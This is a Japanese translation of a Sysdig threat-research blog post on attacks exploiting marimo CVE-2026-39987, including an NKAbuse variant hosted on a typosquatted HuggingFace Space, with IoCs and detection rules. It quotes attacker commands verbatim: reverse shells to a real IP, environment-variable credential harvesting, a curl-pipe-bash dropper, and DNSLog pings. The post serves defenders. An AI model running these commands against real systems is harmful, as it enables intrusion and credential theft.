< ブログ一覧に戻る

CVE-2026-39987 の最新情報:攻撃者はいかにして marimo を悪用し、HuggingFace 経由でブロックチェーン・ボットネットを展開したのか

清水 孝郎
CVE-2026-39987 の最新情報:攻撃者はいかにして marimo を悪用し、HuggingFace 経由でブロックチェーン・ボットネットを展開したのか
執筆者
清水 孝郎
CVE-2026-39987 の最新情報:攻撃者はいかにして marimo を悪用し、HuggingFace 経由でブロックチェーン・ボットネットを展開したのか
Published:
April 15, 2026
この記事の内容
シスディグによるファルコフィード

Falco Feedsは、オープンソースに焦点を当てた企業に、新しい脅威が発見されると継続的に更新される専門家が作成したルールにアクセスできるようにすることで、Falcoの力を拡大します。

さらに詳しく
Green background with a circular icon on the left and three bullet points listing: Automatically detect threats, Eliminate rule maintenance, Stay compliant, with three black and white cursor arrows pointing at the text.

本文の内容は、2026年4月15日に Michael Clark が投稿したブログ(https://www.sysdig.com/blog/cve-2026-39987-update-how-attackers-weaponized-marimo-to-deploy-a-blockchain-botnet-via-huggingface)を元に日本語に翻訳・再構成した内容となっております。

2026年4月8日に marimo Python ノートブックプラットフォームにおける重大な事前認証リモートコード実行(RCE)が公開されてから3日後、Sysdig 脅威リサーチチーム(TRT)は複数の異なる攻撃を観測しました。その中には、攻撃者が marimo のエクスプロイトを使用して HuggingFace Spaces 上にホストされたマルウェアを展開する事例も含まれていました。私たちが取得したマルウェアのバイナリは、NKN ブロックチェーンを C2 に利用する Go 製バックドアである NKAbuse の、これまで文書化されていなかった亜種でした。

Sysdig TRT の以前の marimo に関する記事では、GHSA-2679-6mx9-h9xc(後に CVE-2026-39987 として割り当て)において、公開から実際の悪用までの間に 9 時間 41 分のギャップがあったことを記録しました。公開後も私たちは活動の監視を継続しました。2026年4月11日から14日にかけて、10か国にまたがる11の異なる送信元 IP から、662件のエクスプロイトイベントが発生しました。これには、リバースシェルキャンペーン、認証情報の抽出、DNS を用いたデータ流出、漏洩した認証情報を利用した PostgreSQL や Redis への横展開、さらにタイポスクワッティングされた HuggingFace Space を通じた新しいマルウェア亜種の展開が含まれます。

以下では、観測された内容、攻撃者が展開したマルウェア、侵害の指標(IoC)、および防御側がどのように対応すべきかについて解説します。

タイムライン

時刻(UTC)

イベント

4月8日 21:50

アドバイザリ GHSA-2679-6mx9-h9xc が GitHub に公開

4月9日 07:31

最初の悪用が観測(以前に報告済み

4月11日〜4月14日

4日間で12の異なる送信元IPが脆弱性を悪用、合計662件のイベント

4月12日

38.147.173.172 が HuggingFace Spaces を介して NKAbuse の亜種を展開

4月13日

159.100.6.251 が漏洩した認証情報を使用して PostgreSQL への横展開を達成

4月14日

160.30.128.96-100 が漏洩した認証情報を使用して Redis への横展開を達成

Sysdig 脅威リサーチチームが観測した内容

4月11日から14日にかけて、単一コマンドによる RCE の検証から、横展開を伴う数時間にわたるインタラクティブセッションに至るまでの活動を記録し、それらは4つの運用パターンに分類されました。それぞれの手法を個別に分析していきます。

認証情報の収集

私たちが観測した中で最も一般的なエクスプロイト後の挙動は、環境変数の抽出でした:

env | grep -iE 'key|secret|token|api|pass|db|mongo|pg|mysql|openai|anthropic'
echo AWS_ACCESS=$AWS_ACCESS_KEY_ID
echo AWS_SECRET=$AWS_SECRET_ACCESS_KEY
echo OPENAI=$OPENAI_API_KEY
echo DB=$DATABASE_URL

あるオペレーター(111.90.145.139、マレーシア)は、複数のセッションにわたりクラウド認証情報のみに専念していました。別のオペレーター(92.208.115.60、ドイツ)は、.env ファイル、docker-compose.yml、SSH キーを読み取る4つの個別セッションを実施しました。これらのオペレーターは、再販または後の利用のために認証情報を収集していましたが、マルウェアの展開は行っていませんでした。

ハニーポットは、AWS アクセスキー、PostgreSQL 接続文字列(DATABASE_URL=postgresql://USER:PASSWORD@HOST.internal:5432/marimo)、API キーなど、現実的な偽の認証情報を返しました。ある攻撃者はこの罠にかかり、Postgres にログインしました。これについては後ほど記事内で取り上げます。

リバースシェルと横方向の動き

最も高度なオペレーター(159.100.6.251、ドイツ)は、3時間以上にわたり195件のイベントを実行しました。このオペレーターは、データベースへの横展開に移行する前に、15以上のリバースシェル手法も試行しました:

bash -i >& /dev/tcp/159.100.6.251/4444 0>&1

これが失敗すると、さらに工夫されたさまざまな手法へと段階的にエスカレートしていきました:

nohup bash -c 'bash -i >& /dev/tcp/159.100.6.251/8888 0>&1' > /dev/null 2>&1 & 

disown /bin/sh -i 5<> /dev/tcp/159.100.6.251/4443 0<&5 1>&5 2>&5

/bin/sh -i >& /dev/udp/159.100.6.251/443 0>&1
python3 -c "import socket,os,pty; s=socket.socket(); s.connect(('159.100.6.251',80)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); pty.spawn('/bin/bash')"

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 159.100.6.251 443 >/tmp/f

彼らはポート 4444、8888、4443、443、80 を順に試し、bash、sh、Python、netcat を切り替えながら、TCP および UDP のバリエーションを含めて実行しました。

リバースシェルの手法をすべて試し終えた後、攻撃者は DATABASE_URL 環境変数を抽出し、ポート 5432 上の PostgreSQL ハニートラップに接続しました:

psql -h HOST.internal -U marimo -d marimo

5分間にわたり4つのセッションと9回のクエリを通じて、データベースの列挙を行いました:

\dn                    -- List schemas
\dT                    -- List types
\dt                    -- List tables
SELECT version()       -- PostgreSQL version
SELECT current_database()
SELECT * FROM pg_catalog.pg_tables LIMIT 5
SHOW ALL               -- All configuration parameters

これは典型的な横展開です。直接的なリモートアクセスが失敗した場合、環境内に存在する認証情報を使用して接続先サービスへとピボットします。同一セッション内でリバースシェルからデータベース列挙へ移行していることから、体系化された手順書を持つ経験豊富なオペレーターであることが示唆されます。

攻撃者による横展開は PostgreSQL にとどまらず、Redis インスタンスにも及びました。

別の攻撃者(160.30.128.96-100、香港)は、5つの並列接続を用い、すべての16個の Redis データベースに対してそれぞれ約70回の反復処理を行い、体系的にすべてのキーを列挙してダンプしました:

  AUTH <password>               -- Authenticate (from .env credentials)                                                                                                                                                                          
  CLIENT SETINFO LIB-NAME       -- Identify as redis-py                                                                                                                                                                                           
  CLIENT SETINFO LIB-VER        -- Library version fingerprint                                                                                                                                                                                    
  SELECT 0                      -- Switch to database 0                                                                                                                                                                                          
  DBSIZE                        -- Count keys in database                                                                                                                                                                                        
  SCAN 0 COUNT 100              -- Enumerate all keys                                                                                                                                                                                          
  TYPE celery-task-meta-abc123  -- Check key type (string)                                                                                                                                                                                       
  GET celery-task-meta-abc123   -- Read Celery task result                                                                                                                                                                                     
  TYPE celery-task-meta-def456                                                                                                                                                                                                                  
  GET celery-task-meta-def456   -- Read Celery task result                                                                                                                                                                                     
  TYPE session:admin:550e8400                                                                                                                                                                                                                   
  GET session:admin:550e8400    -- Read admin session token                                                                                                                                                                                    
  TYPE session:api_user:6ba7b810                                                                                                                                                                                                                
  GET session:api_user:6ba7b810 -- Read API user session                                                                                                                                                                                      
  TYPE flow:550e8400:cache                                                                                                                                                                                                                      
  GET flow:550e8400:cache       -- Read notebook flow cache                                                                                                                                                                                      
  SELECT 1                      -- Repeat for database 1
  ...                           -- Through SELECT 15 

各 IP は同じサイクルを 6〜20 回実行し、16 個すべてのデータベース(SELECT 0 から SELECT 15)をスキャンしました。彼らは CLIENT SETINFO を使用して、Python ベースのデータ流出ツールと整合する標準的な redis-py クライアントとして自身を識別していました。パスワードは、先の WebSocket ターミナルの悪用時に抽出された marimo の .env ファイルから取得されたものでした。

DNS exfiltration

あるオペレーター(203.10.98.186、オーストラリア/AARNET)は、DNS ベースのアウトオブバンド確認を使用しました:

ping bskke4.dnslog.cn

DNSLog は、DNS クエリを記録する一意のサブドメインを提供し、直接のコールバックなしで RCE の確認を可能にします。この手法は、ファイアウォールが外向きの接続をブロックしている一方で DNS 解決は許可している場合によく使用されます。このオペレーターは2時間にわたるセッションを維持しており、手動での操作であったことが示唆されます。

HuggingFace SpacesによるNKaBuseデプロイ

最も重要な発見は(38.147.173.172、香港)から得られ、この攻撃者は次のコマンドを実行しました:

curl -fsSL https://vsccode-modetx.hf.space/install-linux.sh | bash

攻撃者は3回試行し、その後20分後に実行結果を確認するために戻ってきました。これは偵察を行っているのではなく、事前に準備されたマルウェアを展開しているオペレーターの挙動です。

HuggingFaceのデリバリーチェーン

ドロッパーの URL は、vsccode-modetx という名前の HuggingFace Space を指しており、これは「VS Code」を意図的にタイポスクワッティングしたものです。配布されるバイナリは kagent という名前で、これは正規の Kubernetes AI エージェントツール(github.com/kagent-dev/kagent)と同じ名前です。これらの名称は、marimo がデプロイされるような開発者環境に紛れ込む可能性があります。この Space 自体は純粋に静的ファイルのホスティングとして使用されており、機械学習(ML)モデルは関与していません。

マルウェアドロッパー

ドロッパー(install-linux.sh、SHA256: 25e4b2c4bb37f125b693a9c57b0e743eab2a3d98234f7519cd389e788252fd13)は、クロスプラットフォームのインストールを実装しています:

  1. Download fallback: curlwgetfetch
  2. Process cleanup: Kills existing kagent instances
  3. Persistence (three methods, tried in order):
    • systemd user service (~/.config/systemd/user/kagent.service)
    • Crontab (@reboot cd $HOME/.kagent && $HOME/.kagent/kagent >/dev/null 2>&1)
    • macOS LaunchAgent (~/Library/LaunchAgents/com.kagent.plist)
  4. Silent operation: Output redirected to ~/.kagent/install.log

このスクリプトは Linux と macOS の両方をサポートしており、marimo が主に開発者のワークステーションで使用されることを考えると注目に値します。

kagent ペイロードバイナリ

ペイロード(kagent)は、UPX によってパックされたストリップ済みの Go 製 ELF バイナリ(4.3 MB → 15.5 MB)です。展開後の文字列から、これは NKAbuse の亜種であることが特定されます:

nkn-rat-agent
NKN RAT Agent
[Agent] Heartbeat sent: uptime=%ds, cpu=%.1f%%, mem=%.1f%%, disk=%.1f%%
Shell output sent successfully
Received uninstall request, preparing graceful shutdown...
Agent binary deleted successfully

このバイナリは、NKN クライアントプロトコル、NAT 越えのための WebRTC/ICE/STUN、プロキシ管理、および構造化されたコマンド処理に言及しており、これは 2023年12月に Kaspersky によって初めて報告された NKAbuse ファミリーと一致しています。

Property

Value

SHA256 (UPX packed)

27c62a041cc3c88df60dfceb50aa5f2217e1ac2ef9e796d7369e9e1be52ebb64

SHA256 (unpacked)

f2960805f89990cb28898e892bbdc5a2f86b6089c68f4ab7f2f5e456a8d0c21d

SHA1 (packed)

049c35fa746a8b86c100bf6b348ef6163b215898

MD5 (packed)

bdcb5867f73beae89c3fce46ad5185be

File type

ELF 64-bit LSB executable, x86-64, Go, statically linked, stripped

Packing

UPX (4.3 MB packed, 15.5 MB unpacked)

NKBUSE バリアントの比較

オリジナルのNKabuseと比較すると、このバリアントには大きな変化があります。

Aspect

Original NKAbuse (2023)

This variant (2026)

Target

Linux desktops (with IoT capability)

AI/ML developer workstations

Initial access

CVE-2017-5638 (Apache Struts) – using a 6-year-old vulnerability

CVE-2026-39987 (marimo pre-auth RCE) – exploiting a brand new vulnerability

Distribution

Direct exploitation

HuggingFace Spaces typosquatting

Binary name

nkabuse

kagent (mimics legitimate K8s tool)

C2 protocol

NKN blockchain

NKN blockchain (unchanged)

ノートブックプラットフォームを実行している開発者のワークステーションは、クラウド認証情報、SSH キー、API トークン、内部ネットワークへのアクセスなどを有するため、高価値な標的です。データサイエンティストのワークステーション上のインプラントは、汎用サーバー上のものよりも価値が高いと言えます。

HuggingFace 上にホストされたマルウェア

hf.space ドメインはクリーンな評価(分析時点で16のレピュテーションソースすべてにおいて悪性判定0)を持っており、この Space は2026年4月14日時点でも稼働していました。これは、より広範な傾向と一致しています:

  • Bitdefender(2026年1月):HuggingFace リポジトリを通じて配布された Android RAT を記録、6,000以上のバリアントコミット
  • Lasso Security(2023年11月):コードリポジトリ内で露出していた1,600以上の悪意ある HuggingFace API トークンを特定
  • JFrog:HuggingFace 上でサイレントバックドアを含む100以上の悪意ある ML モデルを発見

この事例を特徴づけているのは、その単純さです。これまでの HuggingFace の悪用は、汚染された ML モデルやバックドアが仕込まれたトレーニングパイプラインに焦点が当てられていました。本件では、Space は単なる静的ファイルホスティングとしてのみ使用されています。既存のモデルスキャンツールはモデルを対象としているため、このようなパターンは検出できません。

防御側にとってこれが意味すること

  • エクスプロイトまでの時間は引き続き短縮しています。アドバイザリ公開からエクスプロイトまでの間隔は9時間41分でした。3日目までに、11のIPがこの脆弱性を武器化していました。GitHubで2万のスターを持つニッチなソフトウェアであっても、広範かつ継続的な脆弱性悪用の対象外ではありません。
  • AI/MLインフラは、好まれる初期侵入ベクトルとなっています。marimoのエクスプロイトを通じてNKAbuseを展開し、HuggingFace上にホストし、Kubernetesツールに偽装するという手法は、攻撃者が標的をよく理解していることを示しています。漏洩した認証情報を用いたPostgreSQLへの横展開は、侵害されたノートブックから接続先インフラへ攻撃者がどれほど迅速にピボットできるかを示しています。
  • 信頼されたプラットフォームは新たなステージングインフラとなっています。HuggingFace Spaces、GitHub Releases、PyPIパッケージ、Docker Hubイメージはいずれもデフォルトでクリーンなドメイン評価を持っています。ペイロードが数百万の正当なユーザーを持つプラットフォーム上に存在する場合、従来のレピュテーションスコアリングは機能しません。

セキュリティ侵害の指標

Network indicators

Indicator

Type

Context

https://vsccode-modetx.hf.space/

Payload host

HuggingFace Space (typosquats "VS Code")

https://vsccode-modetx.hf.space/install-linux.sh

Dropper URL

Shell script with 3-method download fallback

https://vsccode-modetx.hf.space/kagent

Binary URL

UPX-packed NKAbuse variant

bskke4.dnslog.cn

DNS oracle

OOB RCE confirmation (used by 203.10.98.186)

File hashes

File

SHA256

kagent (UPX packed)

27c62a041cc3c88df60dfceb50aa5f2217e1ac2ef9e796d7369e9e1be52ebb64

kagent (unpacked)

f2960805f89990cb28898e892bbdc5a2f86b6089c68f4ab7f2f5e456a8d0c21d

install-linux.sh

25e4b2c4bb37f125b693a9c57b0e743eab2a3d98234f7519cd389e788252fd13

Host indicators

Indicator

Location

Binary

$HOME/.kagent/kagent

PID file

$HOME/.kagent/kagent.pid

Install log

$HOME/.kagent/install.log

systemd service

$HOME/.config/systemd/user/kagent.service

Crontab entry

@reboot cd $HOME/.kagent && $HOME/.kagent/kagent >/dev/null 2>&1

macOS LaunchAgent

$HOME/Library/LaunchAgents/com.kagent.plist

Process name

kagent

Source IPs

IP

Country

Key Behavior

159.100.6.251

Germany (Ultahost VPS)

15+ reverse shell variants, PostgreSQL lateral movement via leaked credentials

111.90.145.139

Malaysia

env | grep keys 



203.10.98.186

Australia (AARNET)

DNS exfiltration via dnslog.cn, 2-hour session

92.208.115.60

Germany

First exploiter on expanded fleet, 4 separate sessions

38.147.173.172

Hong Kong (LucidaCloud)

NKAbuse deployer via HuggingFace Spaces

185.225.17.176

Romania (MivoCloud)

Python-based dropper attempts

45.147.97.11

France (Serverd)

Filesystem reconnaissance

185.187.207.193

Iraq (Sulaymaniyah)

Basic RCE validation

185.188.61.216

Spain (HostRoyale)

Filesystem browsing, /etc/passwd

120.227.46.184

China (Guangdong)

RCE verification with unique echo token

60.249.14.39

Taiwan

Quick id probe

160.30.128.96-100

Hong Kong (BGPNET)

Redis database dumping

注:送信元 IP は、オペレーターの実際の発信元ではなく、プロキシや VPN のエンドポイントである可能性があります。

ランタイム検知

各攻撃段階は、CVE-2026-39987 に関する事前知識がなくても発火する既存のランタイム検知ルールに対応しています:

Attack stage

Observed behavior

Sysdig rule

Reverse shell

bash -i >& /dev/tcp/IP/PORT 0>&1

Reverse Shell Detected

Credential theft

cat .env, grep secret

Read sensitive file untrusted, Dump Sensitive Environment Variables

AWS credential access

echo $AWS_ACCESS_KEY_ID

Find AWS Credentials

Dropper execution

`curl -fsSL https://...hf.space/install-linux.sh | bash

Inline Shell Execution by Wget/Curl

Persistence

systemd service creation, crontab modification

Schedule Cron Jobs, Suspicious Cron Job Creation

DNS exfiltration

ping bskke4.dnslog.cn

DNS Lookup for Offensive Security Tool Domain Detected

Malware drop + execution

Binary dropped to /tmp/kagent and executed

Container Drift Detected

リバースシェル検知範囲

私たちは、Sysdig エージェントを用いた制御環境において、観測された各リバースシェル手法を再現しました。Sysdig は既存のルールを使用して、すべてのバリアントを検知しました:

Reverse shell technique

Sysdig rule

Severity

bash -i >& /dev/tcp/IP/PORT 0>&1

Reverse Shell Detected

High

nohup bash -c 'bash -i >& /dev/tcp/IP/PORT 0>&1' > /dev/null 2>&1 & disown

Reverse Shell Detected

High

/bin/sh -i 5<> /dev/tcp/IP/PORT 0<&5 1>&5 2>&5

Reverse Shell Detected

High

python3 -c "import socket,os,pty; s=socket.socket(); s.connect((IP,PORT)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); pty.spawn('/bin/bash')"

Reverse Shell Detected

High

`rm /tmp/f;mkfifo /tmp/f;cat /tmp/f; /bin/sh -i 2>&1;nc IP PORT >/tmp/f`

Reverse Shell Redirects STDIN/STDOUT To Sibling Processes Using Named Pipe

High

各バリアントはまた、補助ルールである「コンテナ内での STDOUT/STDIN のネットワーク接続へのリダイレクト(Medium)」および「システムプロセスのネットワークアクティビティ(Low)」もトリガーしました。nohup/disown のラッパーは検知を回避できませんでした。これは、ルールがコマンド文字列ではなく、ネットワークソケットへのファイルディスクリプタのリダイレクトに対して発火するためです。

検知はシステムコールレベルで機能します。bash が /dev/tcp/IP/PORT を開くと connect() システムコールが発生し、fd 0/1/2 をそのソケットへリダイレクトする動作は、シェル構文に関係なく可視化されます。Python の os.dup2() でも同様のパターンが生成されます。mkfifo+nc のバリアントは名前付きパイプを使用するため、専用の兄弟プロセス間パイプルールがトリガーされます。

Sysdig TRT による防御側への推奨事項

  • marimo をバージョン 0.23.0 以降に更新してください。この脆弱性は認証を必要とせず、現在も積極的に攻撃対象となっています。
  • marimo を実行しているすべてのシステムにおいて、~/.kagent/、systemd ユーザーディレクトリ内の kagent.service、および kagent プロセスを調査してください。
  • プロキシまたは DNS レベルで vsccode-modetx.hf.space をブロックしてください。
  • 公開されている marimo インスタンスの認証情報をローテーションしてください。攻撃者は環境変数から DATABASE_URL、AWS キー、API トークンを狙っていました。
  • NKN プロトコルトラフィックを監視してください。このブロックチェーン型 C2 は特徴的なリレーパターンを使用します
  • HuggingFace Spaces および AI/ML プラットフォームの依存関係を監査してください。検証済みの発行元へのアクセスのみに制限してください。
  • 上記に挙げたエクスプロイト後の挙動に対するランタイム検知を導入してください。振る舞いベースの検知は初期侵入ベクトルに関係なく機能します。

まとめ

Marimo の CVE-2026-39987 は、スキャン段階を超えて、積極的なマルウェア展開へと移行しています。タイポスクワッティングされた HuggingFace Space を通じて配布され、ニッチな Python ノートブックプラットフォームを標的とした検知ゼロの NKAbuse 亜種は、攻撃者が AI/ML インフラを特に狙い、信頼されたプラットフォームを配布手段として利用し、さらにブロックチェーンベースの C2 を用いて監視を回避していることを示しています。侵害されたノートブックから、漏洩した環境変数を利用して PostgreSQL へ横展開した事例は、クラウドネイティブ環境において、単一のコンテナの侵害がより広範なインフラへの足がかりを提供することを示しています。

最終的に、シグネチャベースのツールでは、これまでに見たことのないものを検知することはできません。振る舞いベースの検知、認証情報のローテーション、そしてインターネットに公開されている AI/ML ツールのインベントリ管理が、CVE-2026-39987 に関連して Sysdig TRT が観測したような脅威に対抗するための最も効果的なセキュリティ対策です。

About the author

Cloud detection & response
Cloud Security
Threat Research
featured resources

セキュリティの専門家と一緒に、クラウド防御の最適な方法を探索しよう